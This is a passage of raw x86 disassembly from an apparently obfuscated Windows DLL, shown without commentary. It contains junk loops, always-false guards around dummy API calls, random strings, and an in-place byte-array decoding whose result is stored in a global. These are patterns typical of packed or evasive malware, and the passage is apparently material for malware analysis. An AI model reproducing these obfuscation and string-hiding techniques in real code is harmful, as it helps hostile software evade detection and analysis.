and dword [ebp - 0x46c], 0
jmp 0x10027da2
mov dword [ebp - 0x46c], 1
cmp dword [ebp - 0x46c], 0x3585
jg 0x10027dba
mov dword [ebp - 0x5a0], 1
jmp 0x10027dc1
and dword [ebp - 0x5a0], 0
mov eax, dword [ebp - 0x268]
mov dword [ebp - 0x820], eax
mov eax, dword [ebp - 0x268]
dec eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x270], 0xfffffff6
jle 0x10027def
mov dword [ebp - 0x384], 1
jmp 0x10027df6
and dword [ebp - 0x384], 0
cmp dword [ebp - 0x384], 0xbd77dfcc
jb 0x10027e0e
mov dword [ebp - 0x4e4], 1
jmp 0x10027e15
and dword [ebp - 0x4e4], 0
mov eax, dword [ebp - 0x2b0]
cmp dword [ebp - 0x4e4], eax
jge 0x10027e31
xor eax, eax
inc eax
jne 0x10027e31
and dword [ebp - 0x38c], 0
jmp 0x10027e3b
mov dword [ebp - 0x38c], 1
mov eax, dword [ebp - 0x38c]
mov dword [ebp - 0x90], eax
mov esi, dword [ebp - 0x90]
push 1
lea ecx, [ebp - 0x6c4]
call fcn.10001da4
imul esi, dword [eax]
cmp dword [ebp - 0x2b0], esi
jge 0x10027e71
mov dword [ebp - 0x474], 1
jmp 0x10027e78
and dword [ebp - 0x474], 0
imul eax, dword [ebp - 0x474], 0x65ad
mov dword [ebp - 0x270], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x270]
cmp ecx, dword [ebp + eax - 0x8d0]
jle 0x10027ea8
mov dword [ebp - 0x394], 1
jmp 0x10027eaf
and dword [ebp - 0x394], 0
push 2
lea ecx, [ebp - 0x6c4]
call fcn.10001da4
mov esi, dword [ebp - 0x394]
sub esi, dword [eax]
push 1
lea ecx, [ebp - 0x784]
call fcn.10001da4
mov dword [eax], esi
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x810]
call fcn.10001d88
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x784]
call fcn.10001d88
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6c4]
call fcn.10001d88
mov dword [ebp - 0x180], 0x648261f
mov dword [ebp - 0x180], 0
jmp 0x10027f23
mov eax, dword [ebp - 0x180]
dec eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0xffffffe6
jle 0x10028387
push 2
lea ecx, [ebp - 0x6d4]
call fcn.10001d4c
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x550], 0x1e3
mov dword [ebp - 0x5a8], str.gmlsxi_shk_vmaoubhbh_ohf_qsvctwr_jsrpws_ixz_loimowyq_mhmqy_dbtbddfht_yxycycqny
cmp dword [ebp - 0x550], 0x45e
jle 0x10028078
and dword [ebp - 0x228], 0
jmp 0x10027f7e
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0x3040
jge 0x10028078
and dword [ebp - 0x1f0], 0
jmp 0x10027fa4
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0x466
jge 0x10028073
and dword [ebp - 0x188], 0
jmp 0x10027fca
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0x69b5
jge 0x1002806e
and dword [ebp - 0x190], 0
jmp 0x10027ff0
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0x7a74
jge 0x10028069
mov eax, dword [ebp - 0x1f0]
cdq
idiv dword [ebp - 0x188]
mov eax, dword [ebp - 0x228]
mov ecx, edx
sar eax, cl
mov ecx, dword [ebp - 0x190]
shl eax, cl
cdq
mov dword [ebp - 0x608], eax
mov dword [ebp - 0x604], edx
push dword [ebp - 0x604]
push dword [ebp - 0x608]
lea ecx, [ebp - 0x978]
call fcn.10001a6a
pop ecx
pop ecx
mov dword [ebp - 0x71c], eax
mov ecx, dword [ebp - 0x71c]
call fcn.10001c08
push eax
call fcn.1004c39e
pop ecx
lea ecx, [ebp - 0x978]
call fcn.10001bea
jmp 0x10027fe3
jmp 0x10027fbd
jmp 0x10027f97
jmp 0x10027f71
mov byte [ebp - 4], 0x11
cmp dword [ebp - 0x550], 0x4d
jge 0x10028091
push dword [ebp - 0x5a8]
call fcn.1004c39e
pop ecx
jmp 0x100280ad
mov dword [ebp - 4], 0x10
jmp 0x100280bd
mov dword [ebp - 0x40], 0
jmp 0x100280cd
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 1
jge 0x100280e3
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x7f4], 0xffffffff
jmp 0x100280c6
mov dword [ebp - 0x40], 0
jmp 0x100280f3
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jge 0x1002810f
push dword [ebp - 0x40]
lea ecx, [ebp - 0x6d4]
call fcn.10001da4
mov dword [eax], 0xfffffffb
jmp 0x100280ec
mov byte [ebp - 0xaf], 0
movzx eax, byte [ebp - 0xaf]
test eax, eax
je 0x1002812e
push 0x213d
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
push 1
lea ecx, [ebp - 0x6d4]
call fcn.10001da4
and dword [eax], 0
jmp 0x10028164
push 1
lea ecx, [ebp - 0x6d4]
call fcn.10001da4
mov dword [ebp - 0x39c], eax
mov eax, dword [ebp - 0x39c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x39c]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x6d4]
call fcn.10001da4
cmp dword [eax], 0
jl 0x10028373
mov dword [ebp - 0x1f8], 2
mov dword [ebp - 0x1f8], 0
jmp 0x1002819d
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 0
jg 0x1002836e
push 1
lea ecx, [ebp - 0x76c]
call fcn.10001d4c
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x47c], 0x29e4
mov dword [ebp - 0x688], str.zgkw_yjzhztv_lpwdcdou_pnph_wcdadgdo_vbm_gnescgz_ojvogoafs_xhm_xar
cmp dword [ebp - 0x47c], 0x2a00
jle 0x100282c0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
and dword [ebp - 0x198], 0
jmp 0x100281ff
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0x19be
jge 0x10028293
and dword [ebp - 0x250], 0
jmp 0x10028225
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0x48a6
jge 0x1002828e
and dword [ebp - 0x1a0], 0
jmp 0x10028247
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0x5e1c
jge 0x1002828c
mov eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0x250]
shl eax, cl
and eax, dword [ebp - 0x1a0]
cdq
mov dword [ebp - 0x614], eax
mov dword [ebp - 0x610], edx
push dword [ebp - 0x610]
push dword [ebp - 0x614]
mov ecx, 0x10081de8
call fcn.1000d012
jmp 0x1002823a
jmp 0x10028218
jmp 0x100281f2
push 0x1d01
push 0x2105
push 0xaa1
push 0x860
push 0x1cb1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PatBlt]
mov dword [ebp - 0x200], 0
jmp 0x100282d9
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 1
jge 0x100282fb
push dword [ebp - 0x200]
lea ecx, [ebp - 0x76c]
call fcn.10001da4
mov dword [eax], 0xfffffff7
jmp 0x100282cc
mov byte [ebp - 4], 0x14
cmp dword [ebp - 0x47c], 0x2808
jge 0x1002831b
mov edx, dword [ebp - 0x688]
mov ecx, 0x10081de8
call fcn.1000ff9e
jmp 0x10028337
mov dword [ebp - 4], 0x13
jmp 0x10028347
push 0
lea ecx, [ebp - 0x76c]
call fcn.10001da4
mov dword [eax], 0xfaafe30f
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x76c]
call fcn.10001d88
jmp 0x10028190
jmp 0x10028140
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6d4]
call fcn.10001d88
jmp 0x10027f16
cmp dword [0x10146dcc], 0
jne 0x10029feb
mov dword [ebp - 0x5b0], 0x126b2
lea eax, [ebp - 0x5b0]
push eax
call fcn.100212a7
pop ecx
mov dword [ebp - 0x370], eax
mov dword [ebp - 0x98], 0xfe0a8eac
mov dword [ebp - 0x5b8], 0
mov dword [ebp - 0x690], 2
mov dword [ebp - 0x290], 9
mov dword [ebp - 0x98], 9
jmp 0x100283f2
mov eax, dword [ebp - 0x98]
dec eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0xffffffeb
je 0x10028903
mov dword [ebp - 0x5d0], 0xffffffff
mov dword [ebp - 0x1a8], 0
jmp 0x10028422
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 2
jge 0x1002843e
mov eax, dword [ebp - 0x1a8]
mov dword [ebp + eax*4 - 0xbc], 0xf951fe77
jmp 0x10028415
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xbc], 0xfffffff4
jmp 0x1002846c
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbc]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xbc], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xbc], 3
jge 0x100288fe
mov dword [ebp - 0x734], 1
mov dword [ebp - 0x5c0], 0xe2ad
mov dword [ebp - 0x698], 0x3e85184b
mov dword [ebp - 0x230], 0
jmp 0x100284b7
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 1
jge 0x100284d0
mov eax, dword [ebp - 0x230]
mov dword [ebp + eax*4 - 0x30], 0
jmp 0x100284aa
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x30], 0
jmp 0x100284f5
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x30]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x30], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x30], 0xffffffea
jge 0x1002865d
mov dword [ebp - 0x3b4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbc]
mov dword [ebp - 0x828], eax
mov eax, dword [ebp - 0x98]
neg eax
je 0x100285fc
xor eax, eax
inc eax
je 0x1002854b
cmp dword [ebp - 0x734], 0
je 0x1002854b
mov dword [ebp - 0x3a4], 1
jmp 0x10028552
and dword [ebp - 0x3a4], 0
mov eax, dword [ebp - 0x3b4]
cmp eax, dword [ebp - 0x3a4]
jg 0x1002856c
mov dword [ebp - 0x4ec], 1
jmp 0x10028573
and dword [ebp - 0x4ec], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x30]
add eax, dword [ebp - 0x4ec]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x30]
sub ecx, eax
je 0x10028598
cmp dword [ebp - 0x98], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x98]
cmp ecx, dword [ebp + eax - 0xbc]
jge 0x100285b9
mov dword [ebp - 0x3ac], 1
jmp 0x100285c0
and dword [ebp - 0x3ac], 0
mov eax, dword [ebp - 0x5b8]
imul eax, dword [ebp - 0x3ac]
add eax, 0xd9a5
jne 0x100285db
cmp dword [ebp - 0x690], 0
push 4
pop eax
imul eax, eax, 0
imul eax, dword [ebp + eax - 0xbc], 0xffff
test eax, eax
je 0x100285fc
mov dword [ebp - 0x484], 1
jmp 0x10028603
and dword [ebp - 0x484], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbc]
cmp dword [ebp - 0x484], eax
jl 0x10028624
mov dword [ebp - 0x524], 1
jmp 0x1002862b
and dword [ebp - 0x524], 0
mov eax, dword [ebp - 0x3b4]
cmp dword [ebp - 0x524], eax
jge 0x10028645
mov dword [ebp - 0x3bc], 1
jmp 0x1002864c
and dword [ebp - 0x3bc], 0
mov eax, dword [ebp - 0x3bc]
mov dword [ebp - 0x290], eax
jmp 0x100284e0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x30], 0
je 0x100288e5
mov dword [ebp - 0x708], 5
mov dword [ebp - 0x3cc], 0xafff16ce
mov dword [ebp - 0x3d4], 0x6ba99949
mov dword [ebp - 0x3dc], 0x5eb13e27
mov dword [ebp - 0x1b0], 0
jmp 0x100286af
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 1
jge 0x100286cb
mov eax, dword [ebp - 0x1b0]
mov dword [ebp + eax*4 - 0x48c], 0xffffffff
jmp 0x100286a2
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x48c], 0
jne 0x100288cd
cmp dword [ebp - 0x5c0], 0x6a9c
jle 0x100286f7
mov dword [ebp - 0x4fc], 1
jmp 0x100286fe
and dword [ebp - 0x4fc], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x708]
cmp ecx, dword [ebp + eax - 0x30]
jne 0x1002871c
mov dword [ebp - 0x3c4], 1
jmp 0x10028723
and dword [ebp - 0x3c4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48c]
cmp dword [ebp - 0x3c4], eax
jg 0x10028744
mov dword [ebp - 0x4f4], 1
jmp 0x1002874b
and dword [ebp - 0x4f4], 0
mov eax, dword [ebp - 0x4f4]
mov dword [ebp - 0x3cc], eax
mov eax, dword [ebp - 0x3cc]
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 6
jl 0x10028781
mov eax, 0x303a67d6
test eax, eax
je 0x10028781
mov dword [ebp - 0x494], 1
jmp 0x10028788
and dword [ebp - 0x494], 0
cmp dword [ebp - 0x494], 0xfffc
jae 0x100287a0
mov dword [ebp - 0x5c8], 1
jmp 0x100287a7
and dword [ebp - 0x5c8], 0
mov eax, dword [ebp - 0x3d4]
mov dword [ebp - 0x804], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbc]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xbc]
imul ecx, dword [ebp - 0x698]
lea eax, [ecx + eax + 0xa992350]
cmp eax, dword [ebp - 0x3d4]
jl 0x100287ef
mov dword [ebp - 0x54c], 1
jmp 0x100287f6
and dword [ebp - 0x54c], 0
mov eax, dword [ebp - 0x54c]
mov dword [ebp - 0x3dc], eax
cmp dword [ebp - 0x3dc], 0xfffffffd
jne 0x10028817
mov dword [ebp - 0x49c], 1
jmp 0x1002881e
and dword [ebp - 0x49c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x30]
cmp dword [ebp - 0x49c], eax
jne 0x1002884c
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xbc], 0
je 0x1002884c
mov dword [ebp - 0x3e4], 1
jmp 0x10028853
and dword [ebp - 0x3e4], 0
cmp dword [ebp - 0x3e4], 0x6770
jne 0x1002886b
mov dword [ebp - 0x3ec], 1
jmp 0x10028872
and dword [ebp - 0x3ec], 0
mov eax, dword [ebp - 0x4fc]
sub eax, dword [ebp - 0x3ec]
je 0x1002888e
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xbc], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
push 4
pop edx
shl edx, 0
push 4
pop esi
imul esi, esi, 0
mov esi, dword [ebp + esi - 0x30]
neg esi
imul esi, dword [ebp + edx - 0xbc]
sub esi, dword [ebp + ecx - 0xbc]
cmp esi, dword [ebp + eax - 0xbc]
jg 0x100288cd
and dword [ebp - 0x4a4], 0
jmp 0x100288d7
mov dword [ebp - 0x4a4], 1
mov eax, dword [ebp - 0x4a4]
mov dword [ebp - 0x5d0], eax
jmp 0x100288f9
mov dword [ebp - 0x720], 0xffff
mov dword [ebp - 0x720], 0xffffffff
jmp 0x10028451
jmp 0x100283e5
mov byte [ebp - 0xa1], 0
movzx eax, byte [ebp - 0xa1]
test eax, eax
je 0x10028923
push 0
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantTimeToDosDateTime]
mov dword [ebp - 0xdc], 0xe0648261
mov dword [ebp - 0x5f4], 1
mov dword [ebp - 0xdc], 0xffffffeb
jmp 0x10028950
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 6
jle 0x10028e39
push 4
lea ecx, [ebp - 0x6e4]
call fcn.10001d4c
mov dword [ebp - 4], 0x16
mov dword [ebp - 0xa0], 0x4e6d4f28
mov dword [ebp - 0x208], 0
jmp 0x10028994
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 4
jge 0x100289b6
push dword [ebp - 0x208]
lea ecx, [ebp - 0x6e4]
call fcn.10001da4
mov dword [eax], 0xb0e446df
jmp 0x10028987
mov byte [ebp - 0xad], 0
movzx eax, byte [ebp - 0xad]
test eax, eax
je 0x100289d7
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRect]
mov dword [ebp - 0xa0], 3
jmp 0x100289f0
mov eax, dword [ebp - 0xa0]
dec eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0
jl 0x10028e25
mov dword [ebp - 0xe0], 0x7e4fc228
mov dword [ebp - 0xe0], 3
jmp 0x10028a20
mov eax, dword [ebp - 0xe0]
dec eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0
jl 0x10028e20
mov dword [ebp - 0xc8], 0xffffffff
mov byte [ebp - 0x86], 0
movzx eax, byte [ebp - 0x86]
test eax, eax
je 0x10028a54
push 0xd2c
call dword [sym.imp.USER32.dll_GetSysColor]
mov dword [ebp - 0xc8], 0
jmp 0x10028a6d
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 3
jg 0x10028e1b
mov dword [ebp - 0x278], 0xf3ccd246
mov dword [ebp - 0x3f4], 0x1117
mov dword [ebp - 0x6a0], str.zhotq_ksvcvh_wzaifwt_xtmrpa_ptybgi_vtqxq_lhvw_njpcostbw_szx
cmp dword [ebp - 0x3f4], 0x121f
jle 0x10028b4e
and dword [ebp - 0x1b8], 0
jmp 0x10028abe
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0x60d1
jge 0x10028b4e
and dword [ebp - 0x248], 0
jmp 0x10028ae4
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0x56f6
jge 0x10028b49
mov eax, dword [ebp - 0x1b8]
mov ecx, dword [ebp - 0x248]
sar eax, cl
cdq
mov dword [ebp - 0x620], eax
mov dword [ebp - 0x61c], edx
push dword [ebp - 0x61c]
push dword [ebp - 0x620]
lea ecx, [ebp - 0x9a8]
call fcn.10001a6a
pop ecx
pop ecx
mov dword [ebp - 0x5dc], eax
mov ecx, dword [ebp - 0x5dc]
call fcn.10001c08
push eax
call fcn.1004c39e
pop ecx
lea ecx, [ebp - 0x9a8]
call fcn.10001bea
jmp 0x10028ad7
jmp 0x10028ab1
mov byte [ebp - 4], 0x17
cmp dword [ebp - 0x3f4], 0xf53
jge 0x10028b6a
push dword [ebp - 0x6a0]
call fcn.1004c39e
pop ecx
jmp 0x10028b86
mov dword [ebp - 4], 0x16
jmp 0x10028b96
mov dword [ebp - 0x52c], 0xcad
mov dword [ebp - 0x5e8], str.rxwtd_worhqggkg_qdoagw_fyg
cmp dword [ebp - 0x52c], 0xe6c
jle 0x10028cb4
push 0
push 0
push 0x1305
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
and dword [ebp - 0x1c0], 0
jmp 0x10028be6
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0x4794
jge 0x10028cb4
and dword [ebp - 0x210], 0
jmp 0x10028c0c
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0x27cf
jge 0x10028caf
and dword [ebp - 0x1c8], 0
jmp 0x10028c32
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0x65b7
jge 0x10028caa
and dword [ebp - 0x238], 0
jmp 0x10028c54
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0x2c65
jge 0x10028ca5
mov eax, dword [ebp - 0x1c0]
cdq
idiv dword [ebp - 0x210]
mov eax, edx
cdq
idiv dword [ebp - 0x1c8]
mov ecx, dword [ebp - 0x238]
sar edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x62c], eax
mov dword [ebp - 0x628], edx
push dword [ebp - 0x628]
push dword [ebp - 0x62c]
mov ecx, 0x10081de8
call fcn.1000d012
jmp 0x10028c47
jmp 0x10028c25
jmp 0x10028bff
jmp 0x10028bd9
mov byte [ebp - 0x87], 0
movzx eax, byte [ebp - 0x87]
test eax, eax
je 0x10028cce
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov byte [ebp - 4], 0x19
cmp dword [ebp - 0x52c], 0xb79
jge 0x10028cee
mov edx, dword [ebp - 0x5e8]
mov ecx, 0x10081de8
call fcn.1000ff9e
jmp 0x10028d0a
mov dword [ebp - 4], 0x16
jmp 0x10028d1a
push dword [ebp - 0xa0]
lea ecx, [ebp - 0x6e4]
call fcn.10001da4
mov dword [ebp - 0x278], 4
mov eax, dword [ebp - 0x278]
mov dword [ebp - 0x830], eax
imul eax, dword [ebp - 0xdc], 0
cmp eax, 0xfffffffd
jne 0x10028d62
cmp dword [ebp - 0xdc], 0
je 0x10028d62
mov dword [ebp - 0x2c0], 1
jmp 0x10028d69
and dword [ebp - 0x2c0], 0
push dword [ebp - 0xa0]
lea ecx, [ebp - 0x6e4]
call fcn.10001da4
mov ecx, dword [ebp - 0x2c0]
cmp ecx, dword [eax]
jg 0x10028d90
mov dword [ebp - 0x4ac], 1
jmp 0x10028d97
and dword [ebp - 0x4ac], 0
cmp dword [ebp - 0x4ac], 0
jne 0x10028dac
mov dword [ebp - 0x404], 1
jmp 0x10028db3
and dword [ebp - 0x404], 0
mov eax, dword [ebp - 0xc8]
cmp dword [ebp - 0x404], eax
jg 0x10028dd6
cmp dword [ebp - 0x278], 0
je 0x10028dd6
mov dword [ebp - 0x710], 1
jmp 0x10028ddd
and dword [ebp - 0x710], 0
push dword [ebp - 0xc8]
lea ecx, [ebp - 0x6e4]
call fcn.10001da4
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x838], eax
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x81c], eax
mov eax, 0x34e
sub eax, 0x4d81
mov dword [ebp - 0x5f4], eax
jmp 0x10028a60
jmp 0x10028a13
jmp 0x100289e3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6e4]
call fcn.10001d88
jmp 0x10028943
mov byte [ebp - 0x7d], 0
movzx eax, byte [ebp - 0x7d]
test eax, eax
je 0x10028e54
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov byte [ebp - 0x138], 0xc
mov byte [ebp - 0x137], 0x79
mov byte [ebp - 0x136], 0
mov byte [ebp - 0x135], 0x10
mov byte [ebp - 0x134], 0xa
mov byte [ebp - 0x133], 2
mov byte [ebp - 0x132], 8
mov byte [ebp - 0x131], 0x2a
mov byte [ebp - 0x130], 7
mov byte [ebp - 0x12f], 6
mov byte [ebp - 0x12e], 4
mov byte [ebp - 0x12d], 0xc
mov byte [ebp - 0x12c], 0xb
mov byte [ebp - 0x12b], 0x1d
mov byte [ebp - 0x12a], 3
mov byte [ebp - 0x129], 0x2e
mov byte [ebp - 0x128], 6
mov byte [ebp - 0x127], 0x25
mov byte [ebp - 0x126], 2
mov byte [ebp - 0x125], 7
mov byte [ebp - 0x124], 5
mov byte [ebp - 0x123], 6
mov byte [ebp - 0x122], 1
mov byte [ebp - 0x121], 0x17
mov byte [ebp - 0x120], 9
mov byte [ebp - 0x11f], 0xb
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x138]
and eax, 0x2e
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x138]
or ecx, 0x2e
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x138]
mov byte [ebp + eax - 0x730], cl
mov dword [ebp - 0x4c], 2
and dword [ebp - 0x504], 0
jmp 0x10028f5b
mov eax, dword [ebp - 0x4c]
inc eax
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0x1a
jae 0x10028fc3
mov eax, dword [ebp - 0x4c]
sub eax, dword [ebp - 0x504]
movzx eax, byte [ebp + eax - 0x13a]
movsx eax, byte [ebp + eax - 0x730]
mov ecx, dword [ebp - 0x4c]
movzx ecx, byte [ebp + ecx - 0x137]
and ecx, eax
mov eax, dword [ebp - 0x4c]
sub eax, dword [ebp - 0x504]
movzx eax, byte [ebp + eax - 0x13a]
movsx eax, byte [ebp + eax - 0x730]
mov edx, dword [ebp - 0x4c]
movzx edx, byte [ebp + edx - 0x137]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x4c]
movzx eax, byte [ebp + eax - 0x138]
mov byte [ebp + eax - 0x730], dl
jmp 0x10028f53
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0x730], 0
mov dword [ebp - 0x86c], 1
mov byte [ebp - 0xaa], 0
movzx eax, byte [ebp - 0xaa]
test eax, eax
je 0x10028ffc
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRect]
mov byte [ebp - 0x85], 0
movzx eax, byte [ebp - 0x85]
test eax, eax
je 0x1002901c
push 0
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantTimeToDosDateTime]
lea eax, [ebp - 0x730]
push eax
lea ecx, [ebp - 0x930]
call fcn.1002c19c
mov dword [ebp - 0x6a8], eax
mov eax, dword [ebp - 0x6a8]
mov dword [ebp - 0x600], eax
mov dword [ebp - 4], 0x1b
mov edx, dword [ebp - 0x370]
mov ecx, dword [ebp - 0x600]
call fcn.10016de8
mov dword [0x10146dcc], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x930]
call fcn.1002c1cb
mov dword [ebp - 0x2c4], 0xb3895196
mov dword [ebp - 0x48], 5
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x1d0], 0
jmp 0x1002909d
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 1
jge 0x100290b6
mov eax, dword [ebp - 0x1d0]
mov dword [ebp + eax*4 - 0x60], 1
jmp 0x10029090
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x60], 0
jne 0x100290cf
mov dword [ebp - 0x2e8], 1
jmp 0x100290d6
and dword [ebp - 0x2e8], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x60], 0
jne 0x100290f5
mov eax, 0xd221e9c9
test eax, eax
jne 0x100290f5
and dword [ebp - 0x40c], 0
jmp 0x100290ff
mov dword [ebp - 0x40c], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x60]
mov dword [ebp - 0x824], eax
mov eax, dword [ebp - 0x40c]
mov dword [ebp - 0x2c4], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2c4]
cmp ecx, dword [ebp + eax - 0x60]
jle 0x10029139
mov dword [ebp - 0x2c8], 1
jmp 0x10029140
and dword [ebp - 0x2c8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x60]
cmp dword [ebp - 0x2c8], eax
je 0x1002915e
mov dword [ebp - 0x2d0], 1
jmp 0x10029165
and dword [ebp - 0x2d0], 0
mov eax, dword [ebp - 0x2d0]
neg eax
cmp eax, 0x7c69
jle 0x10029180
mov dword [ebp - 0x2d8], 1
jmp 0x10029187
and dword [ebp - 0x2d8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x60]
cmp dword [ebp - 0x2d8], eax
jl 0x100291a5
mov dword [ebp - 0x2e0], 1
jmp 0x100291ac
and dword [ebp - 0x2e0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x60]
cmp eax, dword [ebp - 0x2e0]
jg 0x100291d4
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x60], 0
jne 0x100291d4
and dword [ebp - 0x2f0], 0
jmp 0x100291de
mov dword [ebp - 0x2f0], 1
mov eax, dword [ebp - 0x2e8]
cmp eax, dword [ebp - 0x2f0]
jne 0x100291f8
